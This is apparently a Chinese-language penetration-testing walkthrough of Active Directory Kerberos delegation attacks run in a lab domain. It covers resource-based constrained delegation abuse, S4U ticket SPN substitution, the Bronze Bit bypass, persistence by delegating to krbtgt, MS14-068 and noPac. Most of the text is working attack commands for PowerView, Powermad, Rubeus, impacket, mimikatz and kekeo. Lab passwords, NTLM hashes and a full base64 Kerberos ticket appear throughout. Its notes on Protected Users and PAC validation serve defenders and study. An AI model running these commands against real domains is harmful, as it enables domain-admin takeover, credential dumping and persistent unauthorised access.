使用Adfind查询出来的msDS-AllowedToActOnBehalfOfOtherIdentity值用{Security Descriptor}代替,这个值包含允许被委派的服务账户或机器账户的SID
IdapSearch
利用ldapSearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性
查询域中配置了基于资源的约束性委派的主机
ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
查询域中配置了基于资源的约束性委派的服务账户
ldapsearch -x -H ldap://10.10.10.10:389 -D "admins@vvvv1.com" -w User!@#45 -b "DC=vvvv1,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
基于资源的约束委派利用
步骤一
当前已经获取到域内一个用户权限VVVV1\WP
whoami /all
S-1-5-21-3315874494-179465980-3412869843-2607
或者使用PowerView工具
Get-DomainUser -Identity VVVV1\WP -Properties objectsid
导入PowerView.ps1
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
查看用户VVVV1\WP的ACL权限
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"} | select objectdn,activedirectoryrights
或者使用如下命令,查询VVVV1\WP对指定机器账户的ACL权限
Get-DomainObjectAcl -Identity PC-2016 | ?{$_.SecurityIdentifier -match "S-1-5-21-3315874494-179465980-3412869843-2607"}
不一定需要GenericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都可以修改账户属性。
步骤二
添加机器账户
如果已经获取到域内另一个机器账户的HASH,也可以跳过这一步骤。
使用工具PowerMad
Powershell -ExecutionPolicy Bypass
Import-Module .\Powermad.ps1
//New-MachineAccount -MachineAccount [username] -Password $(ConvertTo-SecureString "[userpassword]" -AsPlainText -Force)
New-MachineAccount -MachineAccount weipai -Password $(ConvertTo-SecureString "User!@#45" -AsPlainText -Force)
查询当前域内机器账户
net group "domain computers" /domain
查询机器账户的SID
使用PowerView脚本
Get-DomainComputer -Identity weipai | select objectsid
S-1-5-21-3315874494-179465980-3412869843-2609
在windows server2008以及2012版本中,可以使用系统自带的工具dsget和dsquery进行查询SID
dsquery computer | dsget computer -dn -sid
上传并导入该DLL
//Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll
//Get-ADComputer [username]
Get-ADComputer weipai
步骤三
修改msDS-AllowedToActOnBehalfOfOtherIdentity
有两种方法可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性值
- Powerview
- ActiveDirectory模块
PowerView
配置weipai到PC-2016的基于资源的约束委派
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer pc-2016| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否成功添加,如果有返回值,则证明成功添加属性
Get-DomainComputer pc-2016 -Properties msds-allowedtoactonbehalfofotheridentity
清除msds-allowedtoactonbehalfofotheridentity属性的值
Set-DomainObject pc-2016 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
ActiveDirectory模块
只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项,且ActiveDirectory模块默认只在域控上安装,如果不是域控可以从域控上把DLL文件复制出来,然后导入powershell即可。
Powershell -ExecutionPolicy Bypass
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer pc-2016 -PrincipalsAllowedToDelegateToAccount weipai$
Get-ADComputer pc-2016 -Properties PrincipalsAllowedToDelegateToAccount
步骤四
注入票据获取权限
Rubeus
因为Rubeus是不支持明文的,所以先把它转换为hash
Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com
//0EC4B410903C6DC7594464F27D347497
Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt
//注意,使用工具Rubeus注入票据时,目标主机名与之后认证的时候的主机名需要一致
//比如这里是cifs/pc-2016.vvvv1.com,之后dir就需要用pc-2016.vvvv1.com
//如果这里是cifs/pc-2016,之后dir就需要用pc-2016,否则就会拒绝访问
也可以直接使用psexec连接
PsExec64.exe \\pc-2016.vvvv1.com cmd.exe
注意,这里获得的权限其实是本地的管理员权限,并没有访问域内资源的权限。
impacket工具包
python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45
set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache
python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk
总结
- 基于资源的约束委派是普通约束委派的反向,不需要域控来进行指定,只需要拥有一个可以修改属性的域内账户即可(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
- 基于资源的约束委派获得的是对方的本地管理员权限,或者system权限,因此多数情况下,基于资源的约束委派可以用来本地提权操作,只需要拥有一个可以修改当前机器属性的域内账户即可;
用户不可委派
在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组。
加载ActiveDirectory模块(需要在登录域内账户)
Powershell -ExecutionPolicy Bypass
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADUser administrator -Properties AccountNotDelegated, Memberof
Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt
这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的。
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发。
首先,我们可以知道,在我们配置委派的时候,有两种方式
1)仅使用Kerberos
配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(2)使用任何身份验证协议
- 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
从上文的链接中,我们可以了解到,当帐户设置了 TrustedToAuthForDelegation 标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于 S4U2Self,因为它允许帐户代表用户为自己获取可转发的 TGS。但是,如果帐户配置为具有“仅 Kerberos”的经典约束委派(未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空),则经典条件优先于基于资源的条件,因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。
因此,我们必须要配置任何身份验证才可以进行委派。
详情看上文链接文章的这一节:A Misunderstood Feature #1
查看票据详情,发现服务名称是缺失的。
Rubeus.exe describe /ticket:ticket.kirbi
我们可以修改从S4U2Self获取的TGS上的SPN,并将其变成有效的。
https://xz.aliyun.com/t/7454#toc-2
Rubeus
在Rebeus加入了一个模块可以直接修改票据的SPN,把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容,这里我们使用python对字符串进行处理。
data =''
with open("1.txt") as fp1:
for line in fp1:
data += line.strip().strip('\n')
with open("2.txt",mode='a') as fp2:
fp2.write(data)
import base64
def base64_decode_to_file(encoded_string, filename):
try:
# 将字符串进行 base64 解码
decoded_data = base64.b64decode(encoded_string)
# 以二进制方式写入文件
with open(filename, 'wb') as file:
file.write(decoded_data)
print("解码并写入文件成功!")
except Exception as e:
print("解码并写入文件出错:", str(e))
# 测试
encoded_string = data
filename = "ticket.kirbi"
base64_decode_to_file(encoded_string, filename)
# print(data)
Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt
//或者直接使用字符串进行修改
Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt
Rubeus.exe describe /ticket:ticket.kirbi
ASN.1 Editor
修改下图这两处地方即可。
总结
对于用户不可委派的实际应用场景,经过测试,实际上范围十分小。
因为在这一过程中,我们修改的是从S4U2Self获取的ST上的,那么就意味着,在委派的过程中,我们只能利用一台机器账户的HASH,来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务,那么我们修改的ST是来自第一台机器的自身可以转发的ST,即使修改了也是只能获取到该机器的服务,并不能获取到第二台机器的服务。
//通过一台机器账户的HASH,来委派这一台机器本身的服务
Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt
而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派,而默认情况下的非约束委派是不会配置这个标志位的,因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。
那么我们想要进行约束委派,也需要在域控进行设置,因此该功能比较鸡肋,当然,如果遇到对应情况,就可以利用机器账户来获取到其他的权限。
当然,这些能否使用S4Uproxy都是取决于是否转发到另一个机器,如果是获取到了某个机器账号的HASH,只是用来获取该机器的服务,不转发到其他的机器,则上文中的修改其服务名则可以成功使票据变得可以使用。(也就是说,只要是获得了某个机器账户的HASH,且该系统已经支持S4U,则可以通过S4U来获取其本地的其他服务的权限,例如CIFS。即使该机器没有设置委派也可以成功。)
至于为什么可以公告修改服务吗来使票据变得可用?
因为在进行约束委派的流程中,第二部是获取到自身服务的ST(见下图),由于工具集成了三个步骤,因此第二个步骤的服务名因为需要被第三步进行使用,因此一般服务名为该机器的名称,例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称,这样该票据也就可以成功被使用。(也就是说,如果是利用某个机器账户的HASH来获取该机器的服务,就是将下图中的步骤拆开,只进行1、2步骤)。
CVE-2020-17049 Kerberos Bronze Bit攻击
https://www.freebuf.com/vuls/258430.html
https://cloud.tencent.com/developer/article/1761060
https://cloud.tencent.com/developer/article/1808279
假设攻击者已经获得了Service1的密码hash值,且Service1和Service2之间存在委派信任关系(Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派)。如果Service1允许进行协议转换(配置了TrustedToAuthForDelegation属性),就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。
利用服务票据ST2,攻击者就能伪造成目标用户与Service2进行交互。
由于委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换(即关闭TrustedToAuthForDelegation属性)。
其次是可以在AD中配置高权限域内账户为“敏感账户,不能被委派”。
最后还可以将域内账户添加到 “Protected Users”安全组内。
将域内账户添加到 “Protected Users”安全组内时,会对用户进行限制
- 密码更改频率限制:这些账户的密码更改频率将增加,以减少密码被暴力破解或猜测攻击的风险。
- 密码历史限制:禁止重复使用之前使用过的密码,以防止密码的持久性攻击。
- 强制 Kerberos 加密类型:只允许使用最安全的 Kerberos 加密类型进行身份验证,以减少中间人攻击的风险。
- 强制域控制器进行 Kerberos 预身份验证:要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证,以防止票据伪造攻击。
- 强制用户会话进行加密:要求用户会话使用加密传输数据,以防止信息泄露和中间人攻击。
如果某域内账户设置了上述配置至少一个,那么为该域内账户申请服务票据时,该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1,但由于该服务票据ST1的ForWardable标志位0,那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。
观察上图,可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值,然后重新使用Service1密匙进加密后发送给KDC ,forwardable标志不在PAC中,所以KDC无法检测到该值是否已经被篡改。
绕过限制后,攻击者就可以模拟目标用户与Service2进行交互。
漏洞利用
首先配置administrator账户为敏感账户,不可委派,且加入了Protected Users安全组。
配置委派的服务一为仅使用kerberos认证。
获取到服务一的HASH
WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec
利用工具进行委派攻击
python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec
发现无法生成对应票据。
添加-force-forwardable参数即可成功。
python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable
set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache
python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk
或者使用mimikatz将票据注入内存
kerberos::ptc administrator.ccache
使用委派进行权限维持
使用约束委派进行权限维持
TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。
由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。
域控通过powershell添加账户到krbtgt的约束委派。
powershell -exec bypass
Import-Module ActiveDirectory
$user = Get-ADUser WP
//添加机器账户的委派$user = Get-ADComputer WSUS-PC$
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") }
利用impacket套件攻击
伪造administrator的TGT
python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45
python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec
导入票据
export KRB5CCNAME=administrator.ccache
用wmiexec弹出一个权限为administrator交互式的shell
python wmiexec.py -no-pass -k administrator@WIN-KONG.hiro.com -dc-ip 10.10.10.10
导出域内哈希
python secretsdump.py -no-pass -k WIN-KONG.hiro.com
使用基于资源的约束委派进行权限维持
与约束委派的权限维持类似,我们可以配置某个服务账户到krbtgt的基于资源的约束委派,只要有了修改krbtgt的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT。
使用PowerView工具
S-1-5-21-3315874494-179465980-3412869843-502
使用AdFind查找可以修改krbtgt账户属性的账户
AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;
在域控上执行:
//SID为weipai$的SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否成功添加,如果有返回值,则证明成功添加属性
Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity
//Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
清除msds-allowedtoactonbehalfofotheridentity属性的值
Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
rubeus
使用rubeus伪造administrator请求TGT
Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt
impacket工具包
使用impacket工具包也可以实现
python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@ad-2016.vvvv1.com -dc-ip 10.10.10.10
PAC攻击
https://blog.csdn.net/shuteer_xu/article/details/129253005
PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组, 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。
在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中, 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。
PAC中包含两个数字签名:**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名,而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先,存在带有服务密钥的签名,以验证此PAC由服务进行了签名。其次,带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。
这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前,必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的,默认不开启。它用于验证PAC是否由KDC签发,而不是由KDC以外的具有访问服务密钥的人放入票据中。
PAC中是有两个签名的:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名,另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时,只能校验PAC_SERVER_CHECKSUM签名,而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此,正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话,服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。
但是,由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名,默认未开启),因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了,只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提,因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话,服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC,KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端,服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话,就算攻击者拥有服务密钥,可以制作ST服务票据,也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,自然就无法通过KDC的签名校验了。
根据微软官方文档的描述,若要开启KDC校验PAC,需要有以下条件:
- 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。
- 应用程序是一个服务,验证KDC PAC签名的注册表项被设置为1,默认为0。修改方法如下:
- 启动注册表编辑器regedit.exe
- 找到以下子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
- 添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时,不会进行KDC PAC校验。该值为1时,会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。
对于验证KDC PAC签名这个注册表键值,有以下几点注意事项:
- 如果服务端并非一个服务程序,而是一个普通应用程序,它将不受以上注册表的影响,而总是进行KDC PAC校验。
- 如果服务端并非一个程序,而是一个驱动,其认证过程在系统内核内完成,它将不受以上注册表的影响,而永不进行PAC校验。
- 使用以上注册表项,需要在Windows Server 2003 SP2或更新的操作系统。
- 在运行Windows Server 2008或更新操作系统的服务器上,该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值),也就是不进行KDC PAC校验。
注:需要说明的是,注册在本地系统帐户下的服务无论如何配置,都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务,则是注册在域内的服务)
因此,如果配置了KDC检验PAC的话,即使拥有服务密钥,生成了服务ST,也无法利用白银票据进行攻击,因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,也就无法通过KDC的签名校验了。
MS14-068
MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组,那么可以通过伪造PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。
使用该漏洞系统需未打MS14-068的补丁(KB3011780),系统在windows server 2008及以下。
使用MS14-068的先决条件:
- 域内任意⽤户 SID
- 域内任意⽤户密码
使用MS14-068.exe
man1 0ec4b410903c6dc7594464f27d347497
man1 S-1-5-21-3315874494-179465980-3412869843-1110
MS14-068.exe -u man1@vvvv1.com -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10
//使用mimikatz导入票据文件
kerberos::ptc TGT_man1@vvvv1.com.ccache
使用GoldenPac.py
python goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#45@ad-2016.vvvv1.com
使用Kekeo.exe
kekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit"
CVE-2021-42287&CVE-2021-42278(NoPac)
https://www.freebuf.com/vuls/317773.html
https://blog.csdn.net/weixin_44747030/article/details/127158385
CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比,机器账户的名称末尾附带了一个“$”符号,但是实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。
sAMAccountName(Security Account Manager Account Name)是Microsoft Windows中的一个属性,用于标识和表示用户和计算机账户。sAMAccountName是Active Directory(AD)中的一项属性,也适用于Windows Server域环境。
sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户,sAMAccountName通常是用户的登录名,例如"johnsmith"。
sAMAccountName属性主要用于内部引用和标识用户和计算机账户,它不包含完整的用户或计算机名称,而只是一个唯一的标识符。要获取完整的用户或计算机账户名称,可以使用其他属性,如User Principal Name(UPN)或Distinguished Name(DN)。
CVE-2021-42287是一个影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控,使密钥分发中心(KDC)创建高权限票据。
根据认证Kerberos协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。
大致流程如下:
- 当前已经拿下域内一台普通权限机器;
- 创建一个机器账户,假定为NOPAC1;
- 清除机器账户NOPAC1的servicePrincipalName属性;
- 修改机器账户NOPAC1的sAMAccountName属性,使其指向不带“$”符合的域控账户,相当于将该机器账户改名,如果域控名称为AD-2016$,就将该机器账户名称修改成AD-2016;
- 利用改名后的账户AD-2016请求TGT;
- 将新建的机器账户的sAMAccountName属性,使其恢复其原初始值(NOPAC1)或其他任意值即可;
- 利用S4U代表域管理员请求对应服务的服务票据(ST);
- 伪造域管理员账户获得相应服务的ST;
为什么要清除机器账户NOPAC1的servicePrincipalName属性?
servicePrincipalName属性存储了该账户所注册的服务主体名称(SPN)。
在修改sAMAccountName值时,servicePrincipalName的值与sAMAccountName的值相关联,servicePrincipalName将使用新值自动更新。该漏洞利用时,会将sAMAccountName的值改成AD-2016,那么servicePrincipalName将试图更新AD-2016的SPN,而该SPN已经被域控所独占,那么就会引发报错。所以在修改机器账户的sAMAccountName属性前,需要将其servicePrincipalName属性清除。
为什么要使用S4U进行请求ST?
在S4U请求中,在KDC解析TGT的用户信息时,因为AD-2016不存在,因此会在后面添加“$”进行查找,也就是域控的机器账户。此时,该TGT被KDC认定为是域控机器账户的TGT,然后进行S4u2Self请求,伪造任意用户访问域控自身的服务,例如administrator用户,然后重新生成对应的PAC又写入ST中。(利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST,但是是否能使用该ST,取决于PAC中伪造的用户权限)
KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC。因此,需要使用S4u2Self重新生成PAC进行利用。
对于无论用户有没有访问服务的权限,只要TGT正确,就会返回ST,该ST为何无法利用?
利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST,在生成ST的过程中并将高权限PAC写入ST,使得该ST可以被转发使用。但是实际上PAC是无法修改的,对于低权限用户生成的访问某些服务的ST,即使TGT正确,生成的ST由于其中的PAC权限过低,导致无法使用。
具体过程
使用工具Powermad,添加名为NOPAC2$,密码为User!@#45的机器账户。
powershell -exec bypass
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force
New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose
如下图所示添加成功。
使用工具PowerView,清除机器账户NOPAC2$的service-PrincipalName属性
Import-Module .\PowerView.ps1
Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose
使用ADExplorer查看机器账户属性,发现已经删除service-PrincipalName属性
修改机器账户的sAMAccountName属性,使其指向不带"$"符号的域控机器账户。
Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose
使用工具Rubeus工具为账户AD-2016请求TGT。
Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap
获取到TGT后,恢复原机器名,或修改成其他任意机器名。
Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t
验证成功。
